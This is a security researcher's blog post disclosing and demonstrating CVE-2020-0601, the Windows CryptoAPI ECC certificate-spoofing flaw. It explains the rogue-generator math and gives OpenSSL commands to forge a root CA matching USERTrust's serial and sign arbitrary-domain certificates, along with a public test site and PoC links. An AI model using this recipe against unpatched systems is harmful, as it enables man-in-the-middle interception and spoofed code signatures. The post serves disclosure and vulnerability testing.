I’ve worked on the exploitation of the CVE-2020-0601 in 2020, along with one of my colleague, Sylvain Pelisser.
You can read all about it in my blog post on Kudelski Security’s research blog. I’ve also setup a test page in case you want to see if you are vulnerable: http://testcve.kudelskisecurity.com/
We have setup a public Github repository with the Python code and the OpenSSL command lines and configuration file: https://github.com/kudelskisecurity/chainoffools
Below is an archive of the aforementionned blog post.
On Tuesday the 14th of January 2020, in the frame of their first Patch Tuesday of 2020, Microsoft addressed a critical flaw discovered by the NSA in the Windows 10, Windows Server 2016 and 2019 versions of crypt32.dll, the library implementing Windows' CryptoAPI. It didn't take too long until it got branded "ChainOfFools" by Kenn White in a blog post. (And was then later rebranded "CurveBall" by Tal Be'ery.)
TL;DR: test if you are vulnerable using our test website!
Let us explain the flaw, and demonstrate it with a POC, which we provide along with a test website and all the code to reproduce it at home.
As usual in the cryptographic community, where flaws can be far-reaching, we disclose all the details that we can and released our PoC on our Github page. (This is particularly important here, since Microsoft and the NSA did not disclose any details.)
Microsoft published the following information regarding the vulnerability:
A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates.
An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source. The user would have no way of knowing the file was malicious, because the digital signature would appear to be from a trusted provider.
A successful exploit could also allow the attacker to conduct man-in-the-middle attacks and decrypt confidential information on user connections to the affected software.
While this remains relatively vague, we can gather some more intel from the CERT website:
As a result, an attacker may be able to craft a certificate that appears to have the ability to be traced to a trusted root certificate authority.
Any software, including third-party non-Microsoft software, that relies on the Windows CertGetCertificateChain() function to determine if an X.509 certificate can be traced to a trusted root CA may incorrectly determine the trustworthiness of a certificate chain.
Microsoft Windows versions that support certificates with ECC keys that specify parameters are affected.
And last but not least, we've got a "Cybersecurity Advisory" from the NSA themselves! And this advisory is much more detailed, and notably mentions that:
Certificates containing explicitly-defined elliptic curve parameters which only partially match a standard curve are suspicious, especially if they include the public key for a trusted certificate
And this is extremely interesting! This led us to believe that it might be possible to craft certificates using ECC and explicit parameters that do not fully match a standard curves!
Mandatory recall
In ECDSA, the private key $ k$ is a large integer, while the public key $ P_{k}$ is a point on the elliptic curve $ \mathrm{E}$ derived from $ k$ by computing $ P_k=k\cdot G$, for $ G$ a generator of the curve with large prime order $ n$ (which is generally standardized along with the curve you're using).
Root cause
So, the idea here is that there is some flaw in the way the certificates are loaded when explicit curve parameters are specified in the provided certificates. Many people discussed the topic and everyone ended agreeing on what the vulnerability had to be. Thomas Ptacek did a good summary of it on Hackernews. But don't worry I'll explain it again below.
Specifically, it is possible to craft a private key for an existing public key, as soon as you are not using the standard generator, but instead can choose any generator. And you can choose you own generator in X.509 certificates by using an "explicit parameters" option to set it.
And because then the CryptoAPI seems to match the certificate with the one it has in cache without checking that the provided generator actually matches the standardized one, it will actually trust the certificate as if it had been correctly signed.
(Although not entirely, as the system still detects that the root certificate is not the same as the one in the root CA store. That is: you won't get these nice green locks you all wanted in your URL bar, but you'll still get a lock without any warning, unlike when using a self-signed certificate, even if you just crafted that certificate yourself.)
It is important to notice that the problem is not in the cryptographic operations here. The maths checks out and the fact that you can craft signature that match a public key using another generator than the standardized one is not a problem in the maths. The problem here is really that the CA certificate cache used by the CryptoAPI is falsely considering that a modified root CA is in the CA certificate store as soon as its public key and serial number match a certificate that is already in the certificate cache, ignoring the fact that this modified certificate is not using the same curve parameters as the one in its cache.
And it so happens that it is super easy to compute a fake generator for which we would know the private key corresponding to the public key of a given CA! Indeed if we take the existing certificate, with its public key $ P_k$, and its unknown secret key $ k$, we have then that $ k\cdot G = P_k$. Now it suffices to take some random value $ x$, and we set $ G' = x^{-1}P_k$. Then, we have that the newly crafted secret key $ x$ is a valid secret key for the public key $ P_k$ when using the new generator $ G'$, since we have that : $ x \cdot x^{-1}P_k = 1P_k = P_k$.
And this effectively allows us to trick the Microsoft CryptoAPI into believing that we actually know the secret key to some CA certificate, whereas we actually only know the secret key for it when using a different generator than the standardized one!
PoC||GTFO
Now, that's just the theory, right? But how can we be sure this is actually the problem behind the CVE-2020-0601? Well... Because we've got a proof of concept working and it's just about 50 lines of Python code!
First things first, you'll need to find some target certificate that's in Windows' Trusted Root CA and that's using ECC! Well, we took a look and found that the USERTrust ECC Certificate Authority has a certificate using the named curve P384! That seems like a good candidate.
So, we download the certificate and now we need to get its public key, which can easily be done using `openssl x509 -in USERTrustECCCertificationAuthority.crt -text -noout` directly, which gives us:
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
5c:8b:99:c5:5a:94:c5:d2:71:56:de:cd:89:80:cc:26
Signature Algorithm: ecdsa-with-SHA384
Issuer: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority
Validity
Not Before: Feb 1 00:00:00 2010 GMT
Not After : Jan 18 23:59:59 2038 GMT
Subject: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority
Subject Public Key Info:
Public Key Algorithm: id-ecPublicKey
Public-Key: (384 bit)
pub:
04:1a:ac:54:5a:a9:f9:68:23:e7:7a:d5:24:6f:53:
c6:5a:d8:4b:ab:c6:d5:b6:d1:e6:73:71:ae:dd:9c:
d6:0c:61:fd:db:a0:89:03:b8:05:14:ec:57:ce:ee:
5d:3f:e2:21:b3:ce:f7:d4:8a:79:e0:a3:83:7e:2d:
97:d0:61:c4:f1:99:dc:25:91:63:ab:7f:30:a3:b4:
70:e2:c7:a1:33:9c:f3:bf:2e:5c:53:b1:5f:b3:7d:
32:7f:8a:34:e3:79:79
ASN1 OID: secp384r1
NIST CURVE: P-384
X509v3 extensions:
X509v3 Subject Key Identifier:
3A:E1:09:86:D4:CF:19:C2:96:76:74:49:76:DC:E0:35:C6:63:63:9A
X509v3 Key Usage: critical
Certificate Sign, CRL Sign
X509v3 Basic Constraints: critical
CA:TRUE
Signature Algorithm: ecdsa-with-SHA384
30:65:02:30:36:67:a1:16:08:dc:e4:97:00:41:1d:4e:be:e1:
63:01:cf:3b:aa:42:11:64:a0:9d:94:39:02:11:79:5c:7b:1d:
fa:64:b9:ee:16:42:b3:bf:8a:c2:09:c4:ec:e4:b1:4d:02:31:
00:e9:2a:61:47:8c:52:4a:4b:4e:18:70:f6:d6:44:d6:6e:f5:
83:ba:6d:58:bd:24:d9:56:48:ea:ef:c4:a2:46:81:88:6a:3a:
46:d1:a9:9b:4d:c9:61:da:d1:5d:57:6a:18
Now, the part we want it obviously the "pub" value, but beware of ASN.1 encoding! The 04 in the front tell us it is simply the two coordinates of the point, so we can remove it and we now know that the point $ P_k$ is actually (0x1aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221, 0xb3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979).
Now, we want to take a more or less random value $ x$ (we could have taken the degenerate case 1, and then the generator would have been the public key itself, but to demonstrate all the computations required, let us have a big $ x$, so we chose $ x= 2^{-1}$). Then we compute our rogue generator, which is $ G' = 2 P_k$ (since we chose our private key as the inverse of 2). Notice that the inverse is taken modulo $ n$, the order of the curve.
Next, we just need to generate a pem file featuring explicit curve parameters, and using the rogue generator along with our chosen private key. This can be done by creating firstly a template pem file with openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit
and then by editing it using Python's Crypto.IO PEM module. (See the PoC code for details.)
The next step is then to generate a rogue CA public file matching the serial of the real one, but using our newly crafted p384-key-rogue.pem file:
`openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -set_serial 0x5c8b99c55a94c5d27156decd8980cc26
`
with the parameters that you want, you can reuse the ones from the original CA certificate if you don't care: "C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority".
Now, we just need to produce the certificate that we want to use in the wild! We first generate a brand new cert, just like you would usually: openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem
Then we can produce a Certificate Signing Request as we would usually: openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr
(using an openssl.cnf config file that you can find in the repo.)
And finally we can sign the CSR using our rogue CA and obtain our final public certificate:openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf
Et voilĂ !
We have been able to sign a certificate with arbitrary domain name and subject alternative names, and it will be recognized by Windows' CryptoAPI as being a trusted certificate! (As long as the root certificate was loaded once already, so that it is in the certificate cache.)
You can try it out on our demo website, if you want to see it. (Notice this is not a Man-in-the-Middle demonstration, but rather a demo that you can have a certificate that will work under Internet Explorer, Microsoft Edge and even Chrome, and that this certificate can have arbitrary subject alternative names.)
Thanks to Scott Arciszewski for his hint to get certificates that would bypass CT log checks in Chrome!
Public test
- Use a vulnerable browser on a vulnerable Windows 10 device
- First open the USERTrust Certification authority demo website to have their certificate in your cache: https://usertrustecccertificationauthority-ev.comodoca.com/
- Next simply open the https://chainoffools.kudelskisecurity.com website!
- If the website loads and you can read "Hello World!", it means your browser and system are vulnerable. Otherwise, you should get a warning telling you how the website is evil. (Notice that if your network is protected by a WAF, it might be blocking the certificate already and that certain antivirus are reacting to such crafted certificates already.)
Or, if you don't want to click on two links, here is a test website using JS to load the original certificate from the USERTrust website and to redirect you to our PoC website: testcve.kudelskisecurity.com
Conclusion
Also, notice that the vulnerability might not be as scary as we could have thought initially, as it appears that Windows Updates are signed using RSA certificates rather than ECC-based ones, and that their RSA certificate chain is pinned in the Windows Update binary . This means that Windows Updates are not at risk of being victim of a Man-in-the-Middle attack. It seems Microsoft added these countermeasure after FLAME abused a Microsoft certificate to hijack Windows Update and use it to spread.
We have setup a public Github repository with the Python code and the OpenSSL command lines and configuration file: https://github.com/kudelskisecurity/chainoffools
In the end, please keep in mind that such a vulnerability is not at risk of being exploited by script kiddies or ransomware. While it is still a big problem because it could have allowed a Man-in-the-Middle attack against any website, you would need to face an adversary that owns the network on which you operate, which is possible for nation-state adversaries, but less so for a script kiddie. This is why we are releasing this PoC, the exploitability of this vulnerability is not good enough to lead to a sudden ransomware threat (unlike the one we had with Wannacry). This is also probably why the NSA decided not to weaponize their finding, but to rather disclose it: for them it is best to have the USA patched rather than to keep it and take the risk of it being used against the USA, as the attack surface is so vast.
Also, please note that other exploits are in the wild, and Saleem Rashid already demonstrated a MitM attack against Github.com using it after demonstrating a fake signature of the 7zip binary. (Edit, Sallem's PoC is now on Github as well.)
Please, do patch your system as soon as possible!
Other good read on the topic:
- Kenn White's blog post on the topic
- The NSA advisory
- The initial thoughts of Thomas Ptacek and Thomas Pornin
Sylvain Pelissier contributed to this blog post.